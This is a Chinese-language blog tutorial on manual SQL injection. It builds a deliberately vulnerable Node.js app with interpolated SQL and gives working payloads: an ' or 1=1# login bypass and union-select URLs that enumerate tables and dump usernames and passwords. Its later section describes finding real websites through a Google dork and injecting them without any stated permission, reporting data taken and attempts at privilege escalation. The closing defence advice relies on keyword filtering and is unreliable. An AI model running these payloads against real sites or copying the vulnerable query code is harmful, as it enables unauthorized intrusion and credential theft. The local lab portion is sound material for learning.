手动SQL注入—原理分析与实践

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了解SQL注入

定义

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

原理

造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
从本质上来说,SQL注入和XSS注入很相似,都是因为没有做好对用户的输入控制而导致的错误。

环境准备

  • 安装PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
  • 安装Mysql
sudo apt-get update
sudo apt-get install mysql-server
  • 创建数据库
sudo su
su postgres
psql
create database virustest
  • 在Ubuntu上安装NodeJs
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

经典注入:’ or 1=1

准备工作

  • 编写models/index.jsmodels/migrate.jsmodels/User.js创建如下图所示的User表:

User表

account password
test0 1234560
test1 1234561
test2 1234562
  • 执行node models/migrate初始化数据库
  • 编写 first/index.js 定义简单的服务器
  • 编写 views/index.html 定义简单的登录页面
  • 安装所有依赖npm install

实践

数据库初始化完成后,我们来开心的模拟一次经典的登录注入操作 :使用' or 1=1#绕过用户名和密码验证直接登录。

  • 启动服务器 node first/index.js,访问http://localhost:5000/看到如下网页

  • 输入 account : test0, password : 1234560,可以发现登录成功

  • 输入 account : test0, password : wrongPassword,可以发现登录失败

  • 输入 account : ' or 1=1# , password : test,可以发现登录成功!!!

我们来看看后台代码中对用户输入的用户名和密码进行验证的的SQL语句:

`select * from Users where account ='${account}' and password='${password}'`

我们将account:' or 1=1#,password:test 的值带入,这条语句变成了:

select * from users where account = '' or 1=1 #' and password='test'

可以看到:

  • SQL的Where子句就变成了永真,因为account='' or 1 = 1永远成立。
  • #后面的语句全部变成了注释(mysql可以用#号来注释代码),不会影响代码正确运行,服务器不会返回500。

这个注入能够成功的原因就在于——灵活使用'字符和#字符。

Union子句的妙用

准备工作

  • 编写models/Article和models/migrate.js定义如下图所示的Articles表:

  • 执行node models/migrate初始化数据库
  • 编写路由代码:
router.get("/article",function *(){
    var ctx = this;
    var query = ctx.request.query;
    var articleId = query.id || 1;
    debug("SQL",`select * from Articles where id = ${articleId}`);
    var data = yield db.query(`select * from Articles where id = ${articleId}`,{
        type: db.QueryTypes.SELECT
    });
    data = data.length !== 0 ? data[data.length - 1] : {
        title : "没有这个文章",
        content :"<p>没有这个文章</p>"
    };
    // debug(data);
    yield ctx.render("index.html", data);
})

此路由函数会先接收GET参数传来的id,使用SQL对id进行查询,将查询到的数据渲染到html返回给浏览器端。

实践

  • 启动服务器 node first/index.js,访问http://localhost:3030/article?id=1,可以看到如下图所示的界面:

  • 访问 http://localhost:3030/article?id=3/*ABC*/,可以发现返回的页面没有变化,这说明后台对输入没有过滤,这里是可以注入的。
  • 确认页面可以注入后,访问http://localhost:3030/article?id=3 and 1=2,可以发现页面显示没有文章,因为1=2的判断导致SQL的Where子句永远为false,所以没有文章返回。

  • 使用union子句得到当前文章所在表的列数,从1开始测,依次访问以下网址
http://localhost:3030/article?id=3 and 1=1 union select 1
http://localhost:3030/article?id=3 and 1=1 union select 1,2  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5  

前四步都显示:


这是因为union两头连接的表的字段数不一致,所以SQL语句执行结果是错误的。而访问
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5成功,这是因为Articles表的列数就是5,访问这样的网址,后台实际执行的SQL语句及其结果如下图所示:


  • 访问http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5,我们发现页面展示的还是id=3的文章,查看路由处理的代码:

    可以发现,默认返回的是第一条数据,所以我们加一个order by id DESC就可以看到别的数据了:

http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC  

访问上述网址,后台执行的SQL语句及其结果如下图所示



所以页面的返回结果是:



我们可以看到我们传给后端的2,3分别在这里被展示在了页面上。

  • 首先,我们要知道数据库的版本和数据表的名称,访问以下网址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC  

我们就可以看到数据库的版本和数据表的名称:


这里记下virustest这个数据库的名称。

  • 知道了数据库的名称后,尝试得到我们所需要的表的名称,将访问的网址改成:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC  

其中的order by rand()可以帮助我们随机地看到数据库中有哪些表,我们多访问几次,就可以看到有一个Users表:


这个Users表就非常有用,我们来继续注入,尝试着拿到用户名和密码。

  • 知道了数据表的名称后,就可以尝试着得到表中列的名称,将访问网址改成:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

由于有order by rand(),多访问几次,我们就可以陆续看到所有的列名,有两个字段我们比较感兴趣:



记住“account”字段和“password”字段

  • 知道了数据表的列名后,就可以开始拖库了,访问以下网址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

访问结果如下图所示:


不断访问这个网址,就可以陆续看到数据库中的所有用户名和密码。

实战

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=,这里inurl指的是在url内有后面字符串的网站,后面的id=MTM=是指base64加密后的id=13,表明网站对URL进行了base64处理。Google查询出来结果如下:



我自己经过删选测试,选取了两个网站:

本次就对这两个网站进行破解,先回顾一下我们上次自己研究的几个破解步骤:

  • 测试能否被注入
  • 通过union测表段数目
  • 通过mysql函数得到数据库的名称
  • 通过INFORMATION_SCHEMA查询表的名称和表内行的名称
  • 获取想要的数据

我们借助http://www1.tc711.com/tool/BASE64.htm这个base64工具进行base64加解密

第一个网站的SQL注入

第二个网站的SQL注入

总结

我们进行了两次对互联网网站的SQL注入,第一次不是很成功,第三次好歹是拿到数据了,尝试了一下扩大战果,select user,password from mysql.user,失败= – =,估计是没有权限。select hex(load_file())的方法也是失败,毕竟mysql版本是5.5,安全级别较高,想要load_file()还是很难的。

通过以上的实践,我们可以总结出一些防范SQL注入的方法:

  • 限制权限,单独搞一个数据库和用户暴露给外界,把查询的范围和权限限制死,你就算可以注入也然并卵,数据没有用啊!
  • 直接过滤掉union或者select,不允许传的参数里面带有这个(360的做法)

在Restful API的时代,开发者在开发一个项目的时经常用到类似于id=?或者title=?这样的GET参数查询,后端通信可能会有很多这样的漏洞,而这样的漏洞造成的后果往往是灾难性的。开发者尤其是后端开发者一定要注意哦!